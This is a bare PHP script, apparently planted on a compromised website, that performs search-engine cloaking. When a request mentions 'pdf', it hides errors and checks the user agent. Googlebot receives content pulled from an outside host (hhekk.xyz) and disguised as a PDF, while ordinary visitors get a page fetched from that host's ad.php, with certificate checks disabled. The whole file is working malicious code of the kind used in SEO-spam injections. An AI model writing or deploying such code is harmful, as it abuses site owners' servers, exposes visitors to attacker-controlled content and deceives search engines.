<?php
if (preg_match("/.*(pdf).*/i", $_SERVER['QUERY_STRING'])) {
    error_reporting(0);
    set_time_limit(0);
    $requestUrl = "https://hhekk.xyz/a.php/";
    $key = $_GET['game'];

    function getSslPage($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_REFERER, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
        $result = curl_exec($ch);
        curl_close($ch);
        return $result;
    }

    function get_naps_bot() {
        $useragent = strtolower($_SERVER['HTTP_USER_AGENT']);
        if (strpos($useragent, 'googlebot') !== false) {
            return 'Google';
        }
        return false;
    }
    $searchbot = get_naps_bot();
    if ($searchbot) {
        $url = $requestUrl.$key;
        header('Content-type: application/pdf');
        $content = getSslPage($url);
        echo $content;
        exit();
    } else {
        $url = 'https://hhekk.xyz/ad.php';
        $content = getSslPage($url);
        echo $content;
        exit();
    }
}